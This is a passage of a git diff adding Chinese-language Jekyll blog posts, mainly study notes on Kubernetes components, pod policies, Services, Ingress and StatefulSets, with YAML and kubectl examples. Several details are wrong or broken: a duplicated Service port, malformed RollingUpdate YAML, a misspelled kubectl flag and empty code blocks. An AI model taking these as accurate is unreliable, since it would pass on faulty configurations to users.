containerd)。这些组件共同工作,以确保容器化的应用程序(通常以 Pod 的形式组织)能够正常运行。 + +Kubelet:Kubelet 是在每个工作节点上运行的主要节点代理。它监视从 Kubernetes API 服务器分配给其节点的 Pod,并确保这些 Pod 正在运行并处于健康状态。Kubelet 与Container Runtime 进行交互,以启动或停止容器,获取容器的状态,以及其他管理任务。 + +Kube-proxy:Kube-proxy 是 Kubernetes 的网络代理,它在每个节点上运行。Kube-proxy 负责实现 Kubernetes Service 的概念,通过维护网络规则并执行连接转发,使得在集群内部可以使用服务的虚拟 IP 地址进行通信。 + +Container Runtime :Container Runtime 是负责运行容器的软件。在 Kubernetes 中,最常见的Container Runtime 是 Docker,但也可以使用其他的,如 containerd 或 CRI-O。容器运行时负责拉取镜像,启动和停止容器,以及与容器进行交互。 + +Pod:Pod 是 Kubernetes 的最小部署单元,它包含一个或多个紧密相关的容器。这些容器在同一个网络和存储空间中运行,可以相互通信和共享资源。Pod 是由 Kubelet 管理,并由Container Runtime 运行的。 + +这些组件之间的关系可以这样理解:Kubelet 是与 Kubernetes API 服务器通信的主要节点代理,它接收到 API 服务器的指令后,会与本地的容器运行时交互,来管理 Pod 的生命周期。Kube-proxy 则负责处理集群内部的网络通信,使得 Pod 可以通过服务的虚拟 IP 进行通信。 + +> kubelet :K8s 集群的每个工作节点上都会运行一个 kubelet 程序 维护容器的生命周期,它接收并执行Master 节点发来的指令,管理节点上的 Pod 及 Pod 中的容器。同时也负责Volume(CVI)和网络(CNI)的管理。每个 kubelet 程序会在 API Server 上注册节点自身的信息,定期向Master节点汇报自身节点的资源使用情况,并通过cAdvisor监控节点和容器的资源。通过运行 kubelet,节点将自身的 CPU,RAM 和存储等计算机资源变成集群的一部分,相当于是放进了集群统一的资源管理池中,交由 Master 统一调配。 + +> Container Runtime容器运行时负责与容器实现进行通信,完成像容器镜像库中拉取镜像,然后启动和停止容器等操作, 引入容器运行时另外一个原因是让 K8s 的架构与具体的某一个容器实现解耦,不光是 Docker 能运行在 K8s 之上,同样也让K8s 的发展按自己的节奏进行。想要运行在我的生态里的容器,请实现我的CRI (Container Runtime Interface),Container Runtime 只负责调用CRI 里定义的方法完成容器管理,不单独执行 docker run 之类的操作。这个也是K8s 发现Docker 制约了它的发展在 1.5 后引入的。 + +> Pod:Pod 是 K8s 中的最小调度单元。我们的应用程序运行在容器里,而容器又被分装在 Pod 里。一个 Pod 里可以有多个容器,也可以有多个容器。没有统一的标准,是单个还是多个,看要运行的应用程序的性质。不过一个 Pod 里只有一个主容器,剩下的都是辅助主容器工作的。 + +> kube-proxy:为集群提供内部的服务发现和负载均衡,监听 API Server 中 Service 控制器和它后面挂的 endpoint 的变化情况,并通过 iptables 等方式来为 Service 的虚拟IP、访问规则、负载均衡。 + + + +- Master Node : 集群的管理节点,拥有 ETCD 服务(可选)。运行 API-Server、Controller、Scheduler 进程. +- Node 是 pod 的载体。用来运行 pod 的服务节点。运行 kubelet 以及用于负载均衡的 kube-proxy 以及 docker eninge. +- Pod 包含的若干容器运行在同一个宿主机器上,这些容器使用相同的 ip 地址和端口,通过 Localhost 通信。 +- lable 标志同一种资源的集合。Kubernetes 通过 Selector 标签选择和查找资源对象。可以附加到 Pod、Node、Service +- Replica Set 副本集。每个 pod 被当作无状态的成员进行管理,一个 pod 宕机后就会创建新的 pod +- Deployment 是 Replica Set 的升级,可以获取 Pod 的部署进度。 +- Service 定义 pod 的逻辑集合以及访问该集合的策略。Service 提供统一服务访问入口,关联多个相同 Lable 的 Pod. +- Volunme 容器共享的数据持久化目录。 +- Namespace:实现用于多租户的资源隔离。 + +### 3. Kubernetes 集群的组件 + +- Kubernetes API server: Kubernetes 系统的入口。封装了核心对象的增删改查操作,供给外部调用,以及集群各个功能模块数据之间数据的交换和通信。 +- Kubernetes Controller: 负责执行各种控制器 +- Replication Controller: 维护 pod 副本的数量。 +- Node Controller: 维护 Node,Node 健康检查。 +- Namespace Controller: 维护 Namespace. +- Service Controller: 维护 Service 提供负载以及服务代理。 +- Service Account Controller: 维护 Service Account ,为 Namespace 创建默认的 Sercive Account +- Deployment Controller 管理和维护 Deployment: 维护 Deployment。 +- Pod Autoscaler Controller 实现 Pod 的自动伸缩。 + +#### 3.1 Kubernetes Replica RC 机制 + +- 定义 Replication 数量,提交到集群。 +- Master Controller 获悉,检查存活 pod,取保 pod 数量= Replication 数量 + +#### 3.2 Rubernetes Replica Set 和 Replica Controller + +- Replica Set 基于集合的选择器。 +- Replica Controller 基于权限的选择器。 + +#### 3.3 Kube Proxy + +- 运行在所有节点上。 +- 监听 API—Server 上的 Service +- 创建路由规则以提供服务 IP 和负载均衡功能。 +- Service 的透明代理和负载均衡器材。把 Service 上的请求转发到后端的多个 Pod 上面。 + +#### 3.4 Kube Proxy-iptablse + +Client 的流量通过 iptablse 的 NAT 机制直接路由到目标 Pod + +#### 3.4 Kube Proxy-ipvs + +Proxy-ipvs 使用更好的数据结构用来高性能的负载均衡。 + +#### 3.5 Kube Proxy-ipvs 和 Kube Proxy-iptablse + +都是基于 Netfilter 实现的,二者有着本质的区别。 + +#### 3.6 静态 Pod + +不能被 API-server 管理。由 Kubelet 进行创建。 + +#### 3.7 pod 的状态 + +- peding +- running +- succeeded +- unknow +- failed + +#### 3.8 Kubenetes 创建 pod + +三次更新: + +- 创建 Replica Set (ETCD 同步创建) +- 创建 Pod (ETCD 同步创建) +- 更新 Pod (ETCD 同步更新) + +```text +kubectl ——————> API-server ——————> ETCD +wordload controllers <—————— API-server <—————— ETCD +wordload controllers —————> API-server ——————> ETCD +scheduler <—————— API-server <—————— ETCD +scheduler —————> API-server ——————> ETCD +``` + +### 4. 策略以及方式 + +#### 4.1 Pod 重启方式 + +> 重启策略 + +由 Node 上的 Kubelet 进行判断和重启操作。当某个容器异常退出或者健康检查失败的时候,Kubelet 将根据 RestartPolicy 的设置来进行相应的操作。 + +Pod 的重启策略包括 Always,OnFailure 和 Never 默认值为 Always + +- Always:当容器失效的时候,Kubelet 重启该容器。 +- OnFailure: 当容器终止运行且退出码不为 0 的时候,Kubelet 重启该容器。 +- Never: 无论容器运行状态如何,Kubelet 都不会重启该容器。 + +ReplicationController、Job、DaemonSet 及 Kubelet + +ReplicationController 和 DaemonSet: 必须设置为 Always,必须设置为 Always 保证容器持续的运行。 + +Job: OnFailure 或者 Never ,确保容器执行完成后不再重启。 + +Kubelet: 在 Pod 失效的时候重启,不论将 RestartPolicy 设置为什么值,也不会进行健康检查。 + +健康检查方式 LivenessProbe\ReadinessProbe + +#### 4.2 Pod 健康检查方式 + +> 两类探针 + +LivenessProbe 探针: 判断容器是否存活(Running)如果 LivenessProbe 探针探测到容器不健康,那么 Kubelet 杀掉该容器,并更具容器的重启策略做出处理。 +如果一个容器不包含 LivenessProbe,那么总是认为该容器返回 Success + +ReadineeProbee 探针:判断容器是否启动完成。如果 ReadineeProbee 探针探测到失效,则 pod 的状态被修改。enpoint Controller 将从 Service 的 Enpoint 中间删除该容器所在 Pod 的 enpoint. + +StarUpProbe: 启动检查机制,启动一些缓慢的业务,避免业务长时间启动而被 kill + +> pod LivenessProbe 探针常见的方式 + +Kuberlet 定期执行 LivenessProbe 来检查容器的健康状态。 + +- ExecAction: 在容器内部执行一个命令,如果返回码是 0,那么表示容器健康。 +- TCPSocketAction: 通过容器的 IP 地址和端口号执行 TCP 检查,若能建立 TCP 连接则表示容器健康。 +- HTTPGetAction: 通过容器的 IP 地址、端口号、以及路径调用 HTTP GET 方法,若响应的状态码大于等于 200 且小于 400.则表示容器健康。 + +#### 4.3 Pod 调度方式 + +> Deployment 或者 RC: 主要功能是自动部署一个容器应用的多份副本。持续监控副本数量,在集群内部始终维持用户指定的副本数量。 + +> NodeSelector: 定向调度,指定 pod 的 nodeSelector 和 Node 的 lable 进行匹配。 + +> NodeAffinity 亲和性调度机制扩展了 POD 的调度能力 + +requireDuringSchedulinglgnoreDuringExecution: 硬件规则,必须满足指定的规则,调度期器才能调度 Pod 到 Node 上面。 +prefererdDuringSchedulinglgnoreDuringExecution: 软规则,优先调度至满足的节点。但不强求。 + +> Toleration : 表示 Pod 能容忍标注了 Taint 的 Node + +> Taint: 使 Node 拒绝特定的 Pod 运行。 + +#### 4.4 初始化 容器 + +> init container 的运行方式和应用容器不同。 + +> init container 在 应用容器之前,当设置了多个 init container,按顺序逐个运行,前一个 container 运行成功后后一个才能运行。当所有的 init container,都成功运行之后,Kubernete 才会初始化 pod 的各种信息,并开始创建和应用容器。 + +#### 4.5 Deployment 的升级过程 + +创建 Deployment 的时候,系统创建了一个 ReplicaSet.并按照用户的需求创建对应数量的 Pod 副本。 + +更新 Deployment 的时候,系统创建了新的 ReplicaSet,并将副本数量扩展到 1,然后旧的 ReplicaSet 缩减为 2 + +按照相同的更新策略对新旧两个 ReplicaSet 进行逐个调整。 +最后新的 ReplicaSet 运行了对应了新版本 Pod 副本,旧的 ReplicaSet 副本数量则缩减为 0. + +#### 4.6 Deployment 的升级策略 + +通过 spec.strategy 指定 Pod 更新的策略:Recreate(重建)和 RollingUpdate(滚动更新)默认值为 RollingUpdate + +```yaml +spec: + strategy: + type: Recreate +``` + +更新 Pod 的时候,先杀掉所有正在运行的 pod,然后创建新的 pod + +```yaml +spec: + strategy: + type: RollingUpdate + RollingUpdate: maxUnavailable +``` + +表示会以滚动更新的方式逐个更新 Pod + +#### 4.7 DaemonSet 类型的特性 + +在每个 Kubernetes 集群的节点上运行,和 Deployment 最的区别是:每个节点只能运行一个 pod,所以不支持 replicas + +使用场景: + +- 做每个节点的日志收集工作。 +- 监控每个节点的运行状态。 + +#### 4.8 自动扩容机制 + +Horizontal Pod Autoscaler(HPA)控制器是基于 CPU 使用率自动扩容。HPA 自动检测目标 POD 的资源性能指标,并与 HPA 资源对象中的扩缩条件进行对比,在满足条件的时候对副本数量进行调整。 + +HPA 调用 Kubernetes 中的某个 Metric Server 的 API 获取到所有 POD 副本的指标数据。(Metrics Server 持续的采集所有 Pod 副本的指标数据)然后根据用户定义的扩容规则进行计算,得到目标副本数量,然后把目标副本数量和当前副本数量进行对比,如果数量不同,HPA 控制器就像 Deployment 或者 ReplicaSet 发起 scale 操作,调整 Pod 副本的数量,完成扩容操作。 + +### 5. Kubernetes Services + +> Why we need Services? + +每个 pod 都有自己的 IP 地址,pod 是短暂的,pod 重新启动或者旧的 pod 死亡,新的 pod 取而代之。那么新的 Pod 就有一个新的 IP 地址,那么使用 pod 地址是没有意义的。因为当地址变化的时候总是需要更改旧的地址为新的。 + +Service + +- 是稳定的、静态的 IP 地址。pod 死亡后仍然存在。所以基本上在每个 pod 服务上设置一个静态的、持久的、稳定的 IP 地址。 +- 提供负载均衡。如果设置了副本,那么该应用程序基本上就会转发请求到对应的 pod. +- 客户端旧可以调用稳定的 IP 地址。 + +#### 5.1 ClusterIP Services + +这个是默认的服务类型。这意味着当创建服务而不指定类型的时候,就会自动把集群 IP 作为类型。 + +假设: + +- Microservice app deployed +- side-car container 同来手机来自 pod 的日志,并将其发送到某个数据库。因此这 app-container:3000 和 sidecar-container:9000 在 pod 里面运行。意味着 9000 端口和 3000 端口可以在 pod 里面打开个和访问。并且 pod 还会从 Node 分配的 IP 地址范围里面获取一个 IP 地址。如果该 pod 有副本,那么副本和它有相同的端口分配和不同的 IP 地址。 + +> 假设集群里面有三个 Node :Node1 、Node2、Node3 ,每个 Node 都会获得集群内部的一些列 IP 地址。 + +> 请求如何从 Ingress 转发到 pod ? + +通过 Service (CluserIP) + +> Service 是什么? +> Service 看起来像 pod 的组件,但是它不是一个进程。仅仅表示一个 IP 地址。 + +> 如何工作? +> Ingress 中的 yaml 文件,serviceName 和 servicePort 定义入口规则。serviceName 对应 Service 里面的 name. servicePort 对应 Service 里面的 port + +> Service 如何知道自己管理哪些 pod? +> 由 selector 定义,使用 selector 标志成员 pod + +```yaml +kind: Service +spec: + selector: + app: micsrv-one + type: microservice +``` + +```yaml +kind: Deployment +spec: + template: + metadata: + labels: + app: micsrv-one + type: microservice +``` + +> 请求该转发到哪个 pod? + +```yaml +kind: Service +spec: + selector: + app: micsrv-one + ports: + - protocol: TCP + port: 3200 + targetPort: 3000 +``` + +> 创建服务的时候会创建和 kubernetes 同名的端点对象 endpoints ,将使用此端点对象来跟踪哪些 pod 是服务的成员。 endpoints 是动态更新的。port 是任意的但是 targetPort 不是任意的,必须和 pod 内部应用程序正在监听的端口匹配。 + +> 假设请求已经成功的通过 Ingress 以及(ClusterIP)Service 转发到了某个 pod 上。如果这个 pod 需要访问 DB 服务,那么 pod 就会 + +```yaml +kind: Deployment +spec: + template: + metadata: + labels: + app: mongodb +``` + +那么需要一个 mongodb cluster 的 ClusterIP)Service,ClusterIP)Service 就会 + +```yaml +kind: Service +spec: + selector: + app: mongodb + ports: + - name: mongodb + port: 27017 + targetPort: 27017 +``` + +但是如果不仅仅是 pod 期望转发给 mongodb cluster 的 ClusterIP)Service 请求(请求数据库查询)prometheus 也希望从 mongodb cluster 的 ClusterIP)Service 发送查询数据的请求,那么该 mongodb cluster 的 ClusterIP)就会有两个端口。 + +```yaml +kind: Service +spec: + selector: + app: mongodb + ports: + - name: mongodb + protocol: TCP + port: 27017 + targetPort: 27017 + - name: mongodb-exporter + protocol: TCP + port: 27017 + targetPort: 27017 +``` + +#### 5.2 Headless Services + +> 客户端想直接和某个具体的、特定的 pod 交流。或者两个 pod 想要直接通信。而不通过 Service + +> 为什么? +> 因为需要部署像 Mysql 或者 MongoDB 这些是,Headless Services 是必须的,因为不能随机选 pod 存储吧? Mysql podA 和 Mysql podB 并不是完全相同的阿。 + +部署有状态的应用程序非常复杂。。比如在部署 Mysql 的时候:将会部署 Master 的主实例和 Working 实例。Master 的主实例将是唯一允许写入的地方,并且 Working 实例需要连接到 Master,以便数据同步。 + +DNS Lookup For Service- return single IP address(ClusterIP) +当 Kubernetes 客户端进行 DNS 查找的时候,DNS 服务器将会返回属于该服务的单个 IP 地址。 + +```yaml +kind: Service +spec: + clusterIP: None + selector: + app: mongodb + ports: + - name: mongodb + protocol: TCP + port: 27017 + targetPort: 27017 + - name: mongodb-exporter + protocol: TCP + port: 27017 + targetPort: 27017 +``` + +clusterIP: None 设置为 None 将会告诉 Kubernetes 不需要该服务的 IP 地址。那么 DNS 将会返回 pod 地址。这也是在部署 Headless Services 的方式,就是设置 clusterIP: None。 + +所以在部署像有 MYSQL 状态的应用程序,一般都会设置两个:一个是(ClusterIP) Services 用来客户端连接。另外一个(Headless) Services 使得部署的 MYSQL POD 之间直接连接。 + +三个类型: + +- ClusterIp +- NodePort: +- LoadBalancer + +```yaml +kind: Service +metadata: + name: my-service +spec: + type: ClusterIp +``` + +> 创建集群内部访问间的每个节点的服务。没有外部流量可以直接访问集群服务。 + +```yaml +kind: Service +metadata: + name: my-service +spec: + type: NodePort +``` + +#### 5.3 NodePort Services + +> 创建在静态端口上访问集群中间的每个节点的服务,外部流量静态或者固定的访问每个工作节点上的端口。浏览器请求将直接达到服务规范定义的端口处工作的节点。节点端口可用于外部流量。节点端口服务将路由到集群 ip 的服务。 + +```yaml +kind: Service +spec: + type: NodePort + selector: + app: mongodb + ports: + protocol: TCP + port: 3000 + targetPort: 27017 + nodePort: 30008 +``` + +#### 5.4 LoadBalancer Services + +> NodePort 比较安全的替代方案,只能通过 LoadBalancer 访问。直接访问工作节点上的节点端口和集群 IP + +```yaml +kind: Service +metadata: + name: my-service +spec: + type: LoadBalancer +``` + +```yaml +kind: Service +metadata: + name: my-service +spec: + type: LoadBalancer + selector: + app: my-service + ports: + - protocol: TCP + port: 3200 + targetPort: 3000 + nodePort: 30010 +``` + +#### 5.5 KuberNetes Service 分发后端的策略 + +RoundRobin 和 SeesionAffinity + +RoundRobin: 轮询的把请求转发到各个 Pod 上面。 + +SeesionAffinity: 根据客户端 IP 地址进行会话保持,相同客户端的请求都会转发到相同的 Pod 上面。 + +#### 5.6 KuberNetes 外部如何访问集群内部的服务? + +对于 Kubenetes 来说,集群外部的客户端默认无法通过 Pod 的地址或者 Service 的虚拟 IP 地址,虚拟端口进行访问。通常通过一下方式进行访问。 + +- 映射到物理机: 在 POD 中间采用 hostPort 的方式,使得客户端可以通过物理机访问容器应用。 + +- 映射 Service 到物理主机: 在 Service 中间采用 hostPort 的方式,使得客户端可以通过物理机访问容器应用。 + +- 映射 Service 到 LoadBalancer : 设置 LoadBalancer 映射到云服务商提供的 LoadBalancer 地址。 + +#### 5.7 总结 + +> ClusterIp \NodePort \ LoadBalancer \Headless + +ClusterIP: 虚拟的服务 IP 地址,该地址用于访问 Kubernetes 集群内部的 Pod,在 Node 上的 kube-proxy 通过设置的 iptables 规则进行转发。Node 对客户端来说是不可见的。 + +NodePort: 使用宿主机的端口,使得(可以访问各 Node 的)客户端可以通过 Node 的 IP 地址和端口号就可以访问。 + +LoadBalancer : 使用外部的负载均衡器完成到服务的负载分发,需要指定外部负载均衡器的 IP 地址 + +```yaml +spec: + status: + loadBalancer: +``` + +Headless 需要人为指定负载均衡器,不使用 Service 提供的默认的负载均衡,或者应用程序希望知道属于同组服务的其他实例,即不为 Service 设置 ClusterIP 地址(入口 IP 地址)仅仅是通过 lable selector 将后端的 pod 列表返回给调用的客户端。 + +### 6. Kubernetes 中 Ingress + +负责把对不同 URL 的访问请求转发到后端不同的 Service,以实现 HTTP 层的业务路由机制。 + +Ingress 策略和 Ingress Controller ,二者结合实现一个完整的 Ingress 负载均衡器。 + +Ingress Controller 根据 Ingress 规则把客户端请求直接转发到 Service 对应的后端 Endpoint(Pod) 上跳过 kube-proxy 的转发功能。 + +过程: +Ingress Controller+ Ingress-------> Service + +Ingress Controller 对外提供的是服务,实际上实现的是边缘路由器的功能。 + +### 7. Kubernetes 镜像的下载策略 + +Always: +镜像标签是 latest 的时候,总是从指定的仓库里面获取镜像。 + +Never: +只能使用本地镜像 + +IFNotPresent: +当本地镜像没有的时候才目标仓库下载。 + +> 镜像标签是 latest 的时候,默认策略是 Always 如果标签不是 latest 的时候默认策略是 IFNotPresent + +### 8. 负载均衡器 + +外部负载均衡器:负责把流量从外部导至后端容器。 +内部负载均衡器: 使用配置分配容器。 + +### 9. Kubernetes 各个模块如何和 API SerVer 通信 + +KubeNetes API server 作为集群和核心,负责集群各个模块之间的通信。各个模块通过 API Server 把信息存储到 ETCD。 + +当模块需要数据的时候通过 APIServer 提供的 TEST 接口报告自己的状态。API—Server 收到这些信息的时候会把节点信息更新到 ETCD 中。 + +Schedule 通过 APIServer 的 Watch 接口监听到新建 Pod 的副本信息后,检索符合该 Pod 要求的 Node 列表,开始执行 Pod 调度。把 Pod 绑定到目标节点上。 + +#### 9.1 Scheduler 的作用和实现 + +> Scheduler 把待调度的 Pod 按照特定的算法和绑定策略绑定到 Node 上。并把绑定信息写入 ETCD + +三个对象: + +- 待调度 Pod 列表、 +- 可用 Node 列表 +- 调度算法和策略 + +Scheduler 把待调度的 Pod 接收 ControllerManager 创建的新的 Pod,调度至目标 Node,接下来 Pod 的生命周期被 Node 上的 kubelet 接管, + +> 简言之: Scheduler 用调度算法把待调度的 Pod 绑定到 Node 上,然后把绑定信息写入 ETCD,Kuberlet 通过 APIServer 监听到 pod 的绑定事件,获取到对应的 pod 清单,下载 Image 镜像,并启动容器。 + +#### 9.2 哪两个调度算法把 pod 绑定到 Node + +Predicates: + +先输入所有节点,然后输出满足预选条件的节点。 + +Priorities: + +对通过预选的节点打分,选择得分最高的节点。 + +#### 9.3 Kubelet 的作用 + +每个 Node 上面都会启动一个 Kubelet 服务进程,该服务进程处理 Master 下发的节点的任务。管理 pod。每个 Kubelet 向 API-Server 注册信息,然后定期向 Master 汇报资源的使用情况。 + +#### 9.4 Kubelet 用 Cadvisor 监控节点资源 + +cAdvisor 默认被集成到 kubelet 组建内部。 + +#### 9.5 Kubelet RBAC + +基于角色的访问控制。 +整个 RABC 完全由几个 API 对象组成,和其他对象一样,可以被 kubectl 或者 API 进行操作。 + +#### 9.6 Secret + +保管密码:OAuth Tokens SSH keys + +Secret 怎么用? +通过给 Pod 指定 Service Account +挂载该 Secret 到 pod 来使用。 +指定 spec.ImagePullSecrets 来引用它。 + +### 10. Kubenetes 网络模型 + +每个 Pod 都有一个独立的 IP 地址。 + +不管 pod 是不是在同一个 Node 中,都要求他们可以直接通过对方的 IP 地址进行访问。 +同一个 pod 内部的容器共享同一个网络命名空间。 +同一个 pod 内部的容器可以通过 localhost 来连接对方的端口。 +IP 是以 Pod 为单位分配的。 + +### 11. Kubernetes的四要素 + +类型/元信息/在集群中期望的状态/Status(给K8s集群用) + +Kind:对象种类 + +metadata:对象的元信息。 +spec:技术规格,以及期望的状态,**PS:所有预期状态的定义都是声明式的(Declarative)的而不是命令式(Imperative),在分布式系统中的好处是稳定,不怕丢操作或执行多次。比如设定期望 3 个运行 Nginx 的Pod,执行多次也还是一个结果,而给副本数加1的操作就不是声明式的,执行多次结果就错了** + + + +### 12.常用的控制器对象 + +K8s 中能经常被我们用到的控制器对象有下面这些: + +Deployment +StatuefulSet +Service +DaemonSet +Ingress +控制器都实现了——控制循环(control loop) + +```go +for { + 实际状态 := 获取集群中对象X的实际状态(Actual State) + 期望状态 := 获取集群中对象X的期望状态(Desired State) + if 实际状态 == 期望状态{ + 什么都不做 + } else { + 执行编排动作,将实际状态调整为期望状态 + } +} +``` + +### 13.Deployment + +Deployment 控制器用来管理无状态应用的,创建、水平扩容/缩容、滚动更新、健康检查等。为啥叫无状态应用呢,就是它的创建和滚动更新是不保证顺序的,这个特征就特别适合管控运行着 Web 服务的 Pod, 因为一个 Web 服务的重启、更新并不依赖副本的顺序。不像 MySQL 这样的服务,肯定是要先启动主节点再启动从节点才行。 + +Deployment 是一个复合型的控制器,它包装了一个叫做 ReplicaSet -- 副本集的控制器。ReplicaSet 管理正在运行的Pod数量,Deployment 在其之上实现 Pod 滚动更新,对Pod的运行状况进行健康检查以及回滚更新的能力。他们三者之间的关系可以用下面这张图表示。 + +> 回滚更新是 Deployment 在**内部记录了 ReplicaSet 每个版本的对象**,要回滚就直接把生效的版本切回原来的ReplicaSet 对象.并且滚动更新是先创建新的Pod ,然后逐渐用新的Pod替换掉老的Pod。 +ReplicaSet 和 Pod 的定义其实是包含在 Deployment 对象的定义中的. + +定义文件里的**replicas: 3** 代表的就是我期望一个拥有三个副本 Pod 的副本集,而 **template** 这个 YAML 定义也叫做Pod模板,意思就是副本集的Pod,要按照这个样板创建出来。 + + +ReplicaSet 控制器可以控制 Pod 的可用数量始终保持在想要数量。但是在 K8s 里我们却不应直接定义和操作他们俩。对这两种对象的所有操作都应该通过 Deployment 来执行。这么做最主要的好处是能控制 Pod 的滚动更新。 + +### StatefulSet + + +StatefulSet,是在Deployment的基础上扩展出来的控制器。使用Deployment时多数时候不会在意Pod的调度方式。但当需要调度有拓扑状态的应用时,就需要关心Pod的部署顺序、对应的持久化存储、 Pod 在集群内拥有固定的网络标识(即使重启或者重新调度后也不会变)这些文图,这个时候,就需要 StatefulSet 控制器实现调度目标。 + +StatefulSet 是 Kubernetes 中的一种工作负载 API 对象,用于管理有状态应用。相比于 Deployment,StatefulSet 为每个 Pod 提供了一个持久且唯一的标识,这使得可以在分布式或集群环境中部署和扩展有状态应用。 + +例如,假设正在运行一个分布式数据库,如 MongoDB 或 Cassandra,这些数据库需要在多个 Pod 之间同步数据。在这种情况下,每个 Pod 都需要有一个稳定的网络标识,以便其他 Pod 可以找到它并与之通信。此外,每个 Pod 可能还需要连接到一个持久的存储卷,以便在 Pod 重启或迁移时保留其数据。 + +以下是一个 StatefulSet 的 YAML 配置示例,用于部署一个简单的 MongoDB 集群: + +```yaml +apiVersion: apps/v1 +kind: StatefulSet +metadata: + name: mongo +spec: + serviceName: "mongo" + replicas: 3 + selector: + matchLabels: + app: mongo + template: + metadata: + labels: + app: mongo + spec: + containers: + - name: mongo + image: mongo + ports: + - containerPort: 27017 + volumeMounts: + - name: mongo-persistent-storage + mountPath: /data/db + volumeClaimTemplates: + - metadata: + name: mongo-persistent-storage + spec: + accessModes: [ "ReadWriteOnce" ] + resources: + requests: + storage: 1Gi +``` +在这个示例中,我们创建了一个包含 3 个副本的 MongoDB StatefulSet。每个 Pod 都有一个持久的存储卷(通过 volumeClaimTemplates 定义),并且每个 Pod 的网络标识都是稳定的(通过 serviceName 定义)。这样,即使 Pod 重启或迁移,它的数据和网络标识也会保持不变,这对于维护数据库的一致性至关重要。 + +### Service + +Service 是另一个我们必用到的控制器对象,因为在K8s 里 Pod 的 IP 是不固定的,所以 K8s 通过 Service 对象向应用程序的客户端提供一个静态/稳定的网络地址,另外因为应用程序往往是由多个Pod 副本构成, Service还可以为它负责的 Pod 提供负载均衡的功能。 + +每个 Service 都具有一个ClusterIP和一个可以解析为该IP的DNS名,并且由这个 ClusterIP 向 Pod 提供负载均衡。 + +Service 控制器也是靠着 Pod 的标签在集群里筛选到自己要代理的 Pod,被选中的 Pod 叫做 Service 的端点(EndPoint) + + +在 Kubernetes 中,Pod 的生命周期是有限的,它们可能会因为各种原因(如节点故障、扩缩容操作等)被创建和销毁。这就意味着 Pod 的 IP 地址可能会频繁变化,这对于需要稳定访问的客户端来说是个问题。 + +Service 是 Kubernetes 提供的一种抽象,它提供了一个稳定的网络地址来代理后端的一组 Pod。客户端只需要访问这个 Service 的地址,而不需要关心具体的 Pod IP。Service 通过标签选择器来选择其后端的 Pod,这些被选中的 Pod 被称为该 Service 的 Endpoints。 + +此外,Service 还提供了负载均衡功能。当有多个 Pod 匹配 Service 的标签选择器时,Service 会将流量均匀地分配到这些 Pod 上。 + +下面是一个 Service 的 YAML 配置示例,它代理了前面提到的 MongoDB StatefulSet: + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: mongo +spec: + selector: + app: mongo + ports: + - protocol: TCP + port: 27017 + targetPort: 27017 +``` +在这个示例中,我们创建了一个名为 mongo 的 Service,它选择了标签为 app: mongo 的所有 Pod 作为其后端。这个 Service 对外提供 27017 端口,所有到这个端口的流量都会被负载均衡地转发到后端的 MongoDB Pod 上。 + +这样,客户端只需要连接到 mongo 这个 Service 的地址和端口,就可以访问到 MongoDB 数据库,而不需要关心具体的 Pod IP 或者 Pod 是否存在。即使后端的 Pod 发生了变化,Service 的地址和端口都会保持不变,这为客户端提供了一个稳定的访问点。 + + +### ClusterIP Service +ClusterIP: 这是默认的 Service 类型。当创建一个 Service 时,Kubernetes 会为该 Service 分配一个唯一的 IP 地址,这个地址在整个集群内部都可以访问。但是,这个 IP 地址**不能从集群外部访问**。这种类型的 Service 适合在集群内部进行通信,例如一个前端应用访问一个后端服务。 + +### NodePort Service +NodePort: 这种类型的 Service 在 ClusterIP 的基础上增加了一层,除了在集群内部提供一个 IP 地址让集群内的 Pod 访问外,还在每个节点上开放一个端口(30000-32767),并将所有到这个端口的请求转发到该 Service。这样,即使 Service 后端的 Pod 在不同的节点上,外部的客户端也可以通过 `:` 的方式访问该 Service。这种类型的 Service 适合需要从集群外部访问的服务。 + + +总的来说,ClusterIP 和 NodePort 的主要区别在于他们提供服务访问的范围。ClusterIP 只能在集群内部访问,而 NodePort 可以从集群外部访问。 + +### Ingress +Ingress 在 K8s 集群里的角色是给 Service 充当反向代理。它可以位于多个 Service 的前端,给这些 Service 充当“智能路由”或者集群的入口点。 + +使用 Ingress 对象前需要先安装 Ingress-Controller, 像阿里云、亚马逊 AWS 他们的 K8s 企业服务都会提供自己的Controller ,对于自己搭建的集群,通常使用nginx-ingress作为控制器,它使用 NGINX 服务器作为反向代理,访问 Ingress 的流量按规则路由给集群内部的Service。 + +正常的生产环境,因为Ingress是公网的流量入口,所以压力比较大肯定需要多机部署。一般会在集群里单独出几台Node,只用来跑Ingress-Controller,可以使用deamonSet的让节点创建时就安装上Ingress-Controller,在这些Node上层再做一层负载均衡,把域名的DNS解析到负载均衡IP上。 + + +### DaemonSet + +这个控制器不常用,主要保证每个 Node上 都有且只有一个 DaemonSet 指定的 Pod 在运行。当然可以定义多个不同的 DaemonSet 来运行各种基础软件的 Pod。 + +比如新建节点的网络配置、或者是每个节点上收集日志的组件往往是靠 DaemonSet 来保证的, 他会在集群创建时优先于其他组件执行, 为的是做好集群的基础设施建设。 + + + +### K8s命令实用命令 + +默认我们所有命令生效的命名空间都是 default 。 +```bash +kubectl get pods +``` +使用--all-namespaces查看所有命名空间 +```bash +kubectl get pods --all-namespaces +``` + +查询命名空间下所有在运行的pod +```bash +kubectl get pods --filed-selector=status.phase=Running +``` +这个就不多解释了,其实擅用—field-selector 能根据资源的属性查出各种在某个状态、拥有某个属性值的资源。 +那怎么知道某个类型的资源对象有哪些属性值呢,毕竟K8s资源的类型十几种,每种的属性就更多了,这个时候就可以看下个命令。 + +```bash +``` + +```bash +``` + +```bash +``` diff --git a/_posts/2023-2-2-test-markdown.md b/_posts/2023-2-2-test-markdown.md new file mode 100644 index 000000000000..4bbb8625b7e6 --- /dev/null +++ b/_posts/2023-2-2-test-markdown.md @@ -0,0 +1,7 @@ +--- +layout: post +title: Kafka 和 ZooKeeper 的分布式消息队列 +subtitle: +tags: [Kafka] +comments: true +--- diff --git a/_posts/2023-2-20-test-markdown.md b/_posts/2023-2-20-test-markdown.md new file mode 100644 index 000000000000..e4c00c634d7d --- /dev/null +++ b/_posts/2023-2-20-test-markdown.md @@ -0,0 +1,347 @@ +--- +layout: post +title: Service Mesh +subtitle: 服务间通信的基础设施层 +tags: [Service Mesh] +comments: true +--- + +### 分布式系统和微服务系统的区别? + +微服务系统是设计层面的,一般是考虑如何把系统从逻辑上进行拆分,而分布式系统主要是部署层面的东西。即系统的各个子系统部署在不同的服务器上。 + +### Kubernetes + +是一个开源的容器管理平台,跨主机部署服务。只需要在 yaml 文件里面定义所需的可用性,部署逻辑,扩展逻辑,Kubernetes 从 